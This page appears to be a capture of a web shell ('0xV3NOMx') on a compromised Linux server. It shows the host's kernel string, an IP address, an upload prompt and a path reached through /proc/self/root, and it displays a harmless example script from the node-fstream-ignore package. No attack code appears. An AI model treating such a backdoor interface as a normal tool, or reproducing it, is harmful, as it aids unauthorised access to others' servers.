0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.139.70.69


Current Path : /proc/self/root/usr/share/doc/node-fstream-ignore/examples/
Upload File :
Current File : //proc/self/root/usr/share/doc/node-fstream-ignore/examples/basic.js

var Ignore = require("../")
Ignore({ path: __dirname
       , ignoreFiles: [".ignore", ".gitignore"]
       })
  .on("child", function (c) {
    console.error(c.path.substr(c.root.path.length + 1))
    c.on("ignoreFile", onIgnoreFile)
  })
  .on("ignoreFile", onIgnoreFile)

function onIgnoreFile (e) {
  console.error("adding ignore file", e.path)
}